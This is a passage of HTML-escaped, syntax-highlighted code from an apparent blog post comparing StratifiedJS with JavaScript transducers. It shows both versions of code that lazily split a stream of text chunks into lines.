      &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;x&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;})&lt;/span&gt;
  &lt;span class=&quot;p&quot;&gt;..&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;@&lt;/span&gt;&lt;span class=&quot;nd&quot;&gt;toArray&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;());&lt;/span&gt;

&lt;span class=&quot;c1&quot;&gt;// =&amp;gt; [ 3, 4, 5 ]&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;p&gt;StratifiedJS has no real need for promises - any expression can “suspend” and you get the benefits of sequential &lt;em&gt;semantics&lt;/em&gt; combined with the performance of async code. So this was always going to knock JavaScript out of the park, which goes to show that sometimes a critical feature in one language might not be all that useful elsewhere.&lt;/p&gt;

&lt;h3 id=&quot;example-3&quot;&gt;Example 3: lazily reading lines from a file&lt;/h3&gt;

&lt;p&gt;This one is probably the most complex, but it’s a practical, real-world application.&lt;/p&gt;

&lt;p&gt;One thing I’ve noticed with nodejs streams is that doing anything truly custom is a massive pain - you basically have to implement a DuplexStream and deal with all the intricacies of the Stream interface yourself. As an example, here’s &lt;a href=&quot;https://github.com/jahewson/node-byline/blob/af737e83cc50b87ed2204e8faf48695b2f1ec13f/lib/byline.js&quot;&gt;the 100+ lines implementation of &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;byline&lt;/code&gt;&lt;/a&gt;, which implements the process I’m about to describe. So it’s a very low bar that transducers will need to beat here ;)&lt;/p&gt;

&lt;p&gt;The main complexity here is that we read streams in “chunks”, and emit “lines” - each chunk may contain any number of lines, and we need state to track the part of the most recent line we’ve seen. So each time we see a chunk from the source, we’ll have zero or more lines to emit.&lt;/p&gt;

&lt;p&gt;Here’s how I do it in StratifiedJS:&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-js&quot; data-lang=&quot;js&quot;&gt;&lt;span class=&quot;c1&quot;&gt;// Fake `chunks` stream - we use the same `Stream` interface for&lt;/span&gt;
&lt;span class=&quot;c1&quot;&gt;// real nodeJS streams, so this isn&apos;t cheating.&lt;/span&gt;
&lt;span class=&quot;kd&quot;&gt;var&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;fileChunks&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;@&lt;/span&gt;&lt;span class=&quot;nd&quot;&gt;Stream&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kd&quot;&gt;function&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;emit&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;kd&quot;&gt;var&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;chunks&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;
    &lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;I am the first&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt; line&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\n&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;..and I am the second&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\n&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt; ...&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt; third!&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;
  &lt;span class=&quot;p&quot;&gt;];&lt;/span&gt;
  &lt;span class=&quot;nx&quot;&gt;chunks&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;..&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;@&lt;/span&gt;&lt;span class=&quot;nd&quot;&gt;each&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;|&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;chunk&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;|&lt;/span&gt;
    &lt;span class=&quot;nf&quot;&gt;hold&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;100&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
    &lt;span class=&quot;nf&quot;&gt;emit&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;chunk&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
  &lt;span class=&quot;p&quot;&gt;};&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;});&lt;/span&gt;

&lt;span class=&quot;c1&quot;&gt;// This accepts a &quot;chunk&quot; stream and returns a &quot;line&quot; stream.&lt;/span&gt;
&lt;span class=&quot;c1&quot;&gt;// Both streams are lazy - the next chunk won&apos;t be read until it&apos;s required&lt;/span&gt;
&lt;span class=&quot;kd&quot;&gt;var&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;linesOfStream&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;kd&quot;&gt;function&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;stream&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;@&lt;/span&gt;&lt;span class=&quot;nd&quot;&gt;Stream&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kd&quot;&gt;function&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;emit&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;c1&quot;&gt;// buffer any partial contents of the current line&lt;/span&gt;
    &lt;span class=&quot;kd&quot;&gt;var&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;current&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&apos;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;c1&quot;&gt;// iterate over chunks&lt;/span&gt;
    &lt;span class=&quot;nx&quot;&gt;stream&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;..&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;@&lt;/span&gt;&lt;span class=&quot;nd&quot;&gt;each&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;|&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;chunk&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;|&lt;/span&gt;
      &lt;span class=&quot;nx&quot;&gt;current&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;chunk&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
      &lt;span class=&quot;kd&quot;&gt;var&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;lines&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;current&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;split&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\n&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
      &lt;span class=&quot;nx&quot;&gt;current&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;lines&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;pop&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;();&lt;/span&gt;
      &lt;span class=&quot;c1&quot;&gt;// when we have any full lines, emit them&lt;/span&gt;
      &lt;span class=&quot;nx&quot;&gt;lines&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;..&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;@&lt;/span&gt;&lt;span class=&quot;nd&quot;&gt;each&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;emit&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
    &lt;span class=&quot;c1&quot;&gt;// emit the last line, if any&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;current&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;!=&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&apos;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;emit&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;current&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
  &lt;span class=&quot;p&quot;&gt;});&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;};&lt;/span&gt;

&lt;span class=&quot;c1&quot;&gt;// Collect the (lazy) stream into an array and just log it&lt;/span&gt;
&lt;span class=&quot;nx&quot;&gt;console&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;log&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;fileChunks&lt;/span&gt;
  &lt;span class=&quot;p&quot;&gt;..&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;linesOfStream&lt;/span&gt;
  &lt;span class=&quot;p&quot;&gt;..&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;@&lt;/span&gt;&lt;span class=&quot;nd&quot;&gt;transform&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;x&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;x&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;!&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
  &lt;span class=&quot;p&quot;&gt;..&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;@&lt;/span&gt;&lt;span class=&quot;nd&quot;&gt;toArray&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;());&lt;/span&gt;

&lt;span class=&quot;c1&quot;&gt;// =&amp;gt; [ &apos;I am the first line!&apos;, &apos;..and I am the second!&apos;, &apos; ... third!!&apos; ]&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;p&gt;..and here’s how you can do it with a JavaScript transducer:&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-js&quot; data-lang=&quot;js&quot;&gt;&lt;span class=&quot;kd&quot;&gt;var&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;chunks&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;
  &lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;I am the first&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
  &lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt; line&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\n&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;..and I am the second&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\n&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt; ...&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
  &lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt; third!&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;];&lt;/span&gt;

&lt;span class=&quot;c1&quot;&gt;// make a nodejs stream with artificial delay between each chunk)&lt;/span&gt;
&lt;span class=&quot;kd&quot;&gt;var&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;fileChunks&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;ObjectStream&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;fromArray&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;chunks&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;).&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;pipe&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;
  &lt;span class=&quot;nx&quot;&gt;ObjectStream&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;map&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kd&quot;&gt;function&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;item&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;done&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;nf&quot;&gt;setTimeout&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kd&quot;&gt;function&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;done&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kc&quot;&gt;null&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;item&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;},&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;10&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
  &lt;span class=&quot;p&quot;&gt;})&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;

&lt;span class=&quot;c1&quot;&gt;// The `Lines` transducer accepts chunks from the source, and&lt;/span&gt;
&lt;span class=&quot;c1&quot;&gt;// emits lines into the downstream transducer:&lt;/span&gt;
&lt;span class=&quot;kd&quot;&gt;var&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;Lines&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;kd&quot;&gt;function&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;xf&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;kd&quot;&gt;var&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;current&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&apos;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
  &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;@@transducer/init&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;kd&quot;&gt;function&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt; 
      &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;xf&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;@@transducer/init&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]();&lt;/span&gt; 
    &lt;span class=&quot;p&quot;&gt;},&lt;/span&gt;
    &lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;@@transducer/result&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;kd&quot;&gt;function&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;result&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt; 
      &lt;span class=&quot;nx&quot;&gt;result&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;xf&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;@@transducer/step&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;](&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;result&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;current&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt; 
      &lt;span class=&quot;k&quot;&gt;if &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;t&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;isReduced&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;result&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;t&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;unreduced&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;result&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
      &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
      &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;xf&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;@@transducer/result&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;](&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;result&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt; 
    &lt;span class=&quot;p&quot;&gt;},&lt;/span&gt;
    &lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;@@transducer/step&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;kd&quot;&gt;function&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;result&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;input&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
      &lt;span class=&quot;nx&quot;&gt;input&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;input&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;toString&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;utf-8&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
      &lt;span class=&quot;nx&quot;&gt;current&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;input&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
      &lt;span class=&quot;kd&quot;&gt;var&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;lines&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;current&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;split&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\n&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
      &lt;span class=&quot;nx&quot;&gt;current&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;lines&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;pop&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;();&lt;/span&gt;
      &lt;span class=&quot;nx&quot;&gt;lines&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;forEach&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kd&quot;&gt;function&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;line&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;nx&quot;&gt;result&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;xf&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;@@transducer/step&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;](&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;result&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;line&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt; 
        &lt;span class=&quot;k&quot;&gt;if &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;t&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;isReduced&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;result&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
          &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;t&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;unreduced&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;result&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
        &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
      &lt;span class=&quot;p&quot;&gt;});&lt;/span&gt;
      &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;result&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
  &lt;span class=&quot;p&quot;&gt;};&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;};&lt;/span&gt;

&lt;span class=&quot;kd&quot;&gt;var&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;transducer&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;t&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;compose&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;Lines&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;t&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;map&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kd&quot;&gt;function&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;x&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;!&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;}));&lt;/span&gt;
